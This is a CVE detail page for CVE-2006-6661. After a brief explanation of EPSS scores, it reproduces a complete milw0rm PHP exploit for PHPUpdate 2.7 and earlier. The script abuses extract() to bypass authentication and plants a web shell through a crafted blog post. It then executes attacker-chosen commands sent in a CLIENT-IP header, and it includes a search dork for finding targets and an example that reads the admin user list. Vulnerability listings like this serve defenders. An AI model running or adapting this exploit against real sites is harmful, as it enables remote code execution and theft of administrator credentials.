CVE-2006-6661 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

<?php print_r(' --------------------------------------------------------------------------- PHPUpdate <= 2.7 extract() auth bypass / shell inject by rgod dork: "Powered by PHP-Update" -site:www.php-update.co.uk mail: retrog at alice dot it site: http://retrogod.altervista.org --------------------------------------------------------------------------- '); /* this works regardless of php.ini settings and against the flat-file version... */ if ($argc<4) { print_r(' --------------------------------------------------------------------------- Usage: php '.$argv[0].' host path cmd OPTIONS host: target server (ip/hostname) path: path to PHPUpdate Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' localhost /phpupdate/ ls -la -P1.1.1.1:80 php '.$argv[0].' localhost / cat ./../../admin/userlist.php -p81 --------------------------------------------------------------------------- '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; $cmd=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed()); $v = rand(111111,999999); /* software site: http://www.php-update.co.uk/ another funny extract() issue, vulnerable code in blog.php: <?php extract($HTTP_POST_VARS); extract($HTTP_GET_VARS); extract($HTTP_COOKIE_VARS); ... let me say... tnx! so, you can overwrite $adminuser and $permission arguments and every var you wanr we cannot use <?php or <? to initiate code, because we have ... $newmessage = str_replace("<?", "&lt;?", $newmessage); ... in blog.php, however this syntax is always avaliable, see php man page for basic syntax also this bypass magic_quotes_gpc because of the stripslashes() on $newmessage argument also, note this, we have a directory traversal in "f" argument but I prefer posts because we do not have an .htaccess in blogs/posts/ folder "0.php" string is appended to a new post filename */ $shell='<script language="php">error_reporting(0); set_time_limit(0); echo "my_delim"; passthru($_SERVER[HTTP_CLIENT_IP]); echo "my_delim";</script>'; $data='-----------------------------7d61bcd1f033e Content-Disposition: form-data; name="f"; suntzu_'.$v.' -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="newmessage"; '.$shell.' -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="newusername"; 1 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="adminuser"; 1 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="permission"; 1 -----------------------------7d61bcd1f033e-- '; $packet ="POST ".$p."blog.php HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: close\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(2); $packet ="GET ".$p."blogs/posts/suntzu_".$v."0.php HTTP/1.0\r\n"; $packet.="CLIENT-IP:".$cmd."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: close\r\n\r\n"; sendpacketii($packet); if (eregi("my_delim",$html)) { $temp=explode("my_delim",$html); echo $temp[1]; } else { echo "exploit failed..."; } ?> # milw0rm.com [2006-12-19]